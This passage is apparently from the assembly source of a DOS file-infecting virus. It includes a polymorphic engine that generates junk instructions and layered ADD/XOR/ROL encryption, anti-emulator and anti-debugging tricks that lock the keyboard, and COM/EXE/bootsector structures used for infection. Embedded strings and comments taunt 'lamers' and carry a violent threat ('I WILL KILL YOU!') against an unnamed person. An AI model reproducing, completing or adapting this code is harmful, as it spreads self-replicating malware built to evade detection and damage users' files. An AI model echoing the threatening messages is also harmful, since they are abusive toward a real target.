CALL Get_Random3 ; Make a CMP first? JZ Jnk_Make_JMP_8 IN AX, 40h ; Get semi-random#. AND AL, 00000001b ; byte/word OR AL, 10000000b ; CMP Reg8/Reg16 OR AH, 11111000b STOSW TEST AL, 00000001b ; Byte or word? IN AX, 40h JZ Jnk_CMP_B STOSB Jnk_CMP_B: STOSB Jnk_Make_JMP_8: MOV AX, (End_Tbl_JMP_8 - Tbl_JMP_8) MOV BX, OFFSET Tbl_JMP_8 CALL Get_Random XLAT ; JMP_8 $+2 STOSW PUSH DI CALL Add_Garbage POP BX MOV AX, DI SUB AX, BX MOV [BX-1], AL RETN Jnk_Make_MOV: IN AL, 40h AND AL, 10111111b OR AL, 10111000b ; MOV Reg16 STOSB IN AX, 40h STOSW Jnk_PUSHPOP: MOV AX, 11 MOV BX, OFFSET PUSH_Reg16 CALL Get_Random PUSH AX XLAT STOSB CALL Add_Garbage POP AX MOV BX, OFFSET POP_Reg16 XLAT STOSB RETN Beast DB '[666h]' ; Makes a CALL backwards. Jnk_CALL: MOV AX, Max_CALL_Entry CALL Get_Random SHL AX, 1 ; MUL 2 XCHG CX, AX Get_Free_Offs: MOV SI, OFFSET Tbl_CALL_Dest ADD SI, CX INC CX INC CX LODSW OR AX, AX ; Set? Then assume valid IP. JNZ Got_CALL_Offs CMP CX, Max_CALL_Entry+2 JB Get_Free_Offs XOR CX, CX DEC BX JZ Exit_AAA JMP Get_Free_Offs Got_CALL_Offs: AND WORD PTR [SI-2], 00h PUSH AX MOV AL, 0E8h ; CALL STOSB POP BX MOV AX, DI SUB AX, BX NEG AX DEC AX DEC AX STOSW INC CALLs_Made Exit_AAA: RETN ; Makes a gap for future calls. Jnk_CALL_Gap: MOV AX, 00EBh ; JMP SHORT $+2 STOSW PUSH DI CALL Add_Garbage POP BX MOV AX, DI SUB AX, BX INC AX ; Plus RETN MOV [BX-1], AL ; Set displacement. MOV SI, OFFSET Tbl_CALL_Dest MOV CX, Max_CALL_Entry Next_Call_Offs: LODSW OR AX, AX JZ Spot_Found LOOP Next_Call_Offs JMP Exit_2 Spot_Found: MOV [SI-2], BX Exit_2: MOV AL, 0C3h ; RETN STOSB CALL Add_Garbage RETN Jnk_INT_Function: CALL Get_Random2 JZ INT_AX MOV AX, (End_Tbl_Functions_AH - Tbl_Functions_AH) / 2 CALL Get_Random SHL AX, 1 ; MUL 2 MOV SI, OFFSET Tbl_Functions_AH ADD SI, AX MOV AL, 0B4h ; MOV AH, STOSB LODSB STOSB MOV AL, 0CDh ; INT STOSB LODSB STOSB RETN INT_AX: MOV AX, (End_Tbl_Functions_AX - Tbl_Functions_AX) / 3 CALL Get_Random MOV CL, 3 MUL CL MOV SI, OFFSET Tbl_Functions_AX ADD SI, AX MOV AL, 0B8h ; MOV AX, STOSB LODSW STOSW MOV AL, 0CDh ; INT opcode. STOSB LODSB STOSB RETN ;---------------------------------------------------------------------------- Jnk_INC_Reg16: CALL Get_Random7 ; Get random register. CMP AL, Ptr_Reg JE Jnk_INC_Reg16 JMP Store_INC Make_INC_Reg16: MOV AL, Ptr_Reg Store_INC: MOV BX, OFFSET INC_Reg16 XLAT STOSB RETN ;---------------------------------------------------------------------------- Jnk_ADD_8_Reg16: IN AL, 40h ; Get random in CL. XCHG CX, AX CALL Get_Random7 ; Pick random register. CMP AL, Ptr_Reg ; Avoid our Ptr_Reg. JE Jnk_ADD_8_Reg16 JMP Store_ADD_8 Make_ADD_8_Reg16: MOV AL, Ptr_Reg Store_ADD_8: PUSH AX MOV AL, 83h ; Aritmic. STOSB POP AX MOV BX, OFFSET ADD_Reg16 XLAT STOSB XCHG CX, AX STOSB RETN ;---------------------------------------------------------------------------- Jnk_ADD_16_Reg16: IN AX, 40h ; Get random in CX. XCHG CX, AX CALL Get_Random7 ; Pick random register. CMP AL, Ptr_Reg ; Avoid our Ptr_Reg. JE Jnk_ADD_16_Reg16 JMP Store_ADD_16 Make_ADD_16_Reg16: MOV AL, Ptr_Reg Store_ADD_16: PUSH AX MOV AL, 81h ; Aritmic. STOSB POP AX MOV BX, OFFSET ADD_Reg16 XLAT STOSB XCHG CX, AX STOSW RETN ;---------------------------------------------------------------------------- Jnk_DEC_Reg16: CALL Get_Random7 ; Get random register. CMP AL, Ptr_Reg JE Jnk_DEC_Reg16 JMP Store_DEC Make_DEC_Reg16: MOV AL, Ptr_Reg Store_DEC: MOV BX, OFFSET DEC_Reg16 XLAT STOSB RETN ;---------------------------------------------------------------------------- Jnk_SUB_8_Reg16: IN AL, 40h ; Get random in CL. XCHG CX, AX CALL Get_Random7 ; Pick random register. CMP AL, Ptr_Reg ; Avoid our Ptr_Reg. JE Jnk_SUB_8_Reg16 JMP Store_SUB_8 Make_SUB_8_Reg16: MOV AL, Ptr_Reg Store_SUB_8: PUSH AX MOV AL, 83h ; Aritmic. STOSB POP AX MOV BX, OFFSET SUB_Reg16 XLAT STOSB XCHG CX, AX STOSB RETN ;---------------------------------------------------------------------------- Jnk_SUB_16_Reg16: IN AX, 40h ; Get random in CX. XCHG CX, AX CALL Get_Random7 ; Pick random register. CMP AL, Ptr_Reg ; Avoid our Ptr_Reg. JE Jnk_SUB_16_Reg16 JMP Store_SUB_16 Make_SUB_16_Reg16: MOV AL, Ptr_Reg Store_SUB_16: PUSH AX MOV AL, 81h ; Aritmic. STOSB POP AX MOV BX, OFFSET SUB_Reg16 XLAT STOSB XCHG CX, AX STOSW RETN ; Can you believe most ppl love their "dad" ? DB 'SuPReSSeD bY KReaToR' ; === TABLES OF POLYMORPH ENGINE === Tbl_Functions_AH: DB 01h, 13h ; Get disk system status. DB 0Dh, 13h ; Alternate disk reset. DB 10h, 13h ; Test fixed disk system status. DB 0Bh, 21h ; Check STDIN status. * DB 0Dh, 21h ; Reset disk. * DB 19h, 21h ; Get default drive. DB 4Dh, 21h ; Get return code. DB 54h, 21h ; Get verify flag. DB 68h, 21h ; Flush buffer. DB 40h, 67h ; Get manager state. DB 46h, 67h ; Get EMM-version. End_Tbl_Functions_AH: Tbl_Functions_AX: DWB 3300h, 21h ; Get Ctrl-Break flag. DWB 3305h, 21h ; Get boot drive code. DWB 4300h, 21h ; Get file-attributes. DWB 5700h, 21h ; Get file date & time. DWB 5800h, 21h ; Get allocation strategy. DWB 5802h, 21h ; Get UMB link status. DWB 0100h, 2Fh ; Get PRINT.COM status. DWB 0600h, 2Fh ; Get ASSIGN.COM status. DWB 0800h, 2Fh ; Get DRIVER.SYS status. DWB 1000h, 2Fh ; Get SHARE.EXE status. DWB 1100h, 2Fh ; Get network redirector status. DWB 1400h, 2Fh ; Get NLSFUNC.COM status. DWB 1500h, 2Fh ; Get CD-ROM interface status. DWB 1A00h, 2Fh ; Get ANSI.SYS status. DWB 4300h, 2Fh ; Get XMS-driver installed status. DWB 4800h, 2Fh ; Get DOSKEY.COM status. DWB 0B000h, 2Fh ; Get GRAFTABL.COM status. DWB 0B700h, 2Fh ; Get APPEND.EXE status. DWB 0B702h, 2Fh ; Get APPEND.EXE version. DWB 000Bh, 33h ; Read motion counters. End_Tbl_Functions_AX: Tbl_INTs: DB 01h ; Single step. DB 03h ; Breakpoint. DB 08h ; System timer. ** DB 0Ah DB 0Bh DB 0Ch DB 0Dh ; Harddisk management. ** DB 0Eh ; Floppydisk management. ** DB 0Fh ; Printer management. ** DB 11h ; Get equipment status. DB 12h ; Get DOS memory size. DB 1Ch ; Timer tick. ** DB 28h ; DOS safe to use. DB 2Bh DB 2Ch DB 2Dh DB 70h ; Dunno, I just ripped 'em from SuckSexee. DB 71h DB 72h DB 73h DB 74h DB 76h ; I/O ready. DB 77h Tbl_INTs_End: ; ** could cause inconsistency. ; I was a HUGE fan of Bruce Lee back in the 80's, all his ; movies were SO FUCKING GREAT! It's a real shame he died... DB 'Bruce Lee was the best...' ; Table with one-byte "dummy"-instructions. Garbage_Table_1: XCHG CX, AX XCHG DX, AX IN AL, DX IN AX, DX XLAT LAHF AAA DAA AAS DAS CBW CWD INT 03h CLC STC CMC CLD STD STI HLT ; Hmmm... at least I don't use CLI's. WAIT NOP End_Garbage_Table_1: Garbage_Table_2: DB 094h, 094h ; XCHG SP, AX / XCHG AX, SP DB 044h, 04Ch ; INC SP / DEC SP DB 023h, 0C3h ; AND AX, BX DB 00Bh, 0C3h ; OR AX, BX DB 0F7h, 0D0h ; NOT AX DB 0F7h, 0D8h ; NEG AX DB 085h, 0C2h ; TEST AX, DX DB 013h, 0D3h ; ADC DX, BX DB 01Bh, 0C1h ; SBB AX, CX DB 0E2h, 0FEh ; LOOP $ DB 0E2h, 000h ; LOOP $+2 DB 033h, 0C9h ; XOR CX, CX DB 0F7h, 0E1h ; MUL CX DB 0F6h, 0E2h ; MUL DL DB 02Bh, 010h ; SUB DX, [BX+SI] DB 0D1h, 0E2h ; SHL DX, 1 DB 08Dh, 005h ; LEA AX, [DI] End_Garbage_Table_2: DB 'G3T TH3 L4M3RS!' ; === Table of opcodes & operands. === ;---> BX SI DI BP AX CX DX MOV_Reg16 DB 0BBh, 0BEh, 0BFh, 0BDh, 0B8h, 0B9h, 0BAh INC_Reg16 DB 043h, 046h, 047h, 045h, 040h, 041h, 042h DEC_Reg16 DB 04Bh, 04Eh, 04Fh, 04Dh, 048h, 049h, 04Ah CMP_Reg16 DB 0FBh, 0FEh, 0FFh, 0FDh, 0F8h, 0F9h, 0FAh ADD_Reg16 DB 0C3h, 0C6h, 0C7h, 0C5h, 0C0h, 0C1h, 0C2h SUB_Reg16 DB 0EBh, 0EEh, 0EFh, 0EDh, 0E8h, 0E9h, 0EAh Ptr_Addr: ADD_Ptr DB 087h, 084h, 085h, 086h SUB_Ptr DB 0AFh, 0ACh, 0ADh, 0AEh XOR_Ptr DB 0B7h, 0B4h, 0B5h, 0B6h INC_Ptr DB 087h, 084h, 085h, 086h DEC_Ptr DB 08Fh, 08Ch, 08Dh, 08Eh NOT_Ptr DB 097h, 094h, 095h, 096h NEG_Ptr DB 09Fh, 09Ch, 09Dh, 09Eh ROL_Ptr DB 087h, 084h, 085h, 086h ROR_Ptr DB 08Fh, 08Ch, 08Dh, 08Eh ;---> BX SI DI BP AX CX DX DS ES SS FLG PUSH_Reg16 DB 53h, 56h, 57h, 55h, 50h, 51h, 52h, 1Eh, 06h, 16h, 9Ch POP_Reg16 DB 5Bh, 5Eh, 5Fh, 5Dh, 58h, 59h, 5Ah, 1Fh, 07h, 17h, 9Dh ;---> AL AH BL BH CL CH DL DH MOV_Reg8 DB 0B0h, 0B4h, 0B3h, 0B7h, 0B1h, 0B5h, 0B2h, 0B6h ; Dedicated to a certain asshole, who uses the law 2 bring me down... DB 'Prepare to die...' DB 'Your time has come, ' DB 'I WILL KILL YOU!' ; 8-Bit displacement JMPs. Tbl_JMP_8: DB 0EBh ; JMP SHORT DB 074h DB 07Ch DB 07Eh DB 072h DB 076h DB 07Ah DB 070h DB 078h DB 075h DB 07Dh DB 07Fh DB 073h DB 077h DB 07Bh DB 071h DB 079h End_Tbl_JMP_8: Tbl_Crypt_Index DB 1 ; Decrypt ADD-encryption with SUB. DB 0 ; Decrypt SUB-encryption with ADD. DB 2 ; Decrypt XOR-encryption with XOR. DB 4 ; Decrypt INC-encryption with DEC. DB 3 ; Decrypt DEC-encryption with INC. DB 5 ; Decrypt NOT-encryption with NOT. DB 6 ; Decrypt NEG-encryption with NEG. DB 8 ; Decrypt ROL-encryption with ROR. DB 7 ; Decrypt ROR-encryption with ROL. Tbl_Encryptors DW 0580h ; ADD DW 2D80h ; SUB DW 3580h ; XOR DW 05FEh ; INC DW 0DFEh ; DEC DW 15F6h ; NOT DW 1DF6h ; NEG DW 05D0h ; ROL DW 0DD0h ; ROR Tbl_Decr_Opcode DB 080h ; DB 080h DB 080h DB 0FEh DB 0FEh DB 0F6h DB 0F6h DB 0D0h DB 0D0h JMP_Start_File: JMP Start_File DB 'Greets to the CCC!' Decrypt_2: PUSH AX PUSH BX ; Save most registers. PUSH CX PUSH DX PUSH BP PUSH DI PUSH DS PUSH ES PUSH CS POP DS CALL Get_Delta ; Get our delta-offset. Get_Delta: POP SI SUB SI, OFFSET Get_Delta MOV AX, 3D00h ; Open non-existing file. MOV DX, SI INT 21h ; Emulators never return JC Emulator_Dead ; errors. MOV AX, 4C00h ; Exit to DOS. INT 21h Emulator_Dead: IN AL, 21h ; Lock keyboard. OR AL, 00000010b OUT 21h, AL ; Backwards encryption, prevents lamers from setting breakpoints. MOV BX, (3 + 24) ; After stored header. Decrypt_File: XOR BYTE PTR [SI+BX], 00h Key_Fix_Layer = BYTE PTR $-1 INC BX CMP BX, OFFSET Decrypt_2 JE JMP_Start_File JMP Decrypt_File START: JMP_Decrypt_2: JMP Decrypt_2 Virus_End: ; *** ENTRYPOINT OF INFECTED FILES *** CALLs_Made DW 0 Return_Address DW 0 i24h DW 0, 0 Int13h_AH DB 0 Encrypt_Algo DB Max_Layers DUP(0) Decrypt_Key DB Max_Layers DUP(0) Decrypt_Delta DW Max_Layers DUP(0) Tbl_CALL_Dest DW Max_CALL_Entry DUP(0) Dir_Path DB 128 DUP(0) Poly_Decryptor DB Max_Decryptor DUP(0) Header DB 26 DUP(0) Buffer DB 512 DUP(0) ;-------------- Structures -------------------------------------------------- COM_Header STRUC Jump DB 0 Displacement DW 0 COM_Header ENDS EXE_Header STRUC EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM. Image_Mod_512 DW 0 Image_512_Pages DW 0 Reloc_Items DW 0 Headersize_Para DW 0 Min_Mem_Para DW 0 Max_Mem_Para DW 0 Program_SS DW 0 Program_SP DW 0 Checksum DW 0 Program_IP DW 0 Program_CS DW 0 Offs_RelocTable DW 0 Overlay_Number DW 0 Undocumented DW 0 Unused DW 0 EXE_Header ENDS FindFirstHandle STRUC Handle_Reserved DB 21 DUP(0) Handle_Attr DB 0 Handle_Time DW 0 Handle_Date DW 0 Handle_Size DD 0 Handle_Name DB 13 DUP(0) FindFirstHandle ENDS FindFirst_FCB STRUC FCB_Drive DB 0 FCB_Name DB 8 DUP(0) FCB_Ext DB 3 DUP(0) FCB_Attr DB 0 FCB_Reserved DB 10 DUP(0) FCB_Time DW 0 FCB_Date DW 0 FCB_Start_Clust DW 0 FCB_Size DD 0 FindFirst_FCB ENDS Push_All_Stack STRUC Reg_ES DW 0 Reg_DS DW 0 Reg_DI DW 0 Reg_SI DW 0 Reg_BP DW 0 Reg_DX DW 0 Reg_CX DW 0 Reg_BX DW 0 Reg_AX DW 0 Reg_Flags DW 0 Reg_Ret_Addr DW 0 Push_All_Stack ENDS Bootsector STRUC bs_Jump DB 3 DUP(0) bs_OEM_Name DB 8 DUP(0) bs_Bytes_Sector DW 0 bs_Sectors_Unit DB 0 bs_Reserved_Sec DW 0 bs_FAT_Copies DB 0 bs_Root_Entries DW 0 bs_Num_Sectors DW 0 bs_Descriptor DB 0 bs_Sectors_FAT DW 0 bs_Sector_Track DW 0 bs_Number_Heads DW 0 bs_Hidden_Sect DW 0 Bootsector ENDS Carrier: PUSH CS POP DS MOV AH, 09h MOV DX, OFFSET Carrier_Msg INT 21h MOV AX, 4C00h INT 21h Carrier_Msg DB 'TH3 W1D0WM4K3R H4S C0M3 T0 T4K3 Y0UR L1F3...' DB 0Ah, 0Dh, '$' END START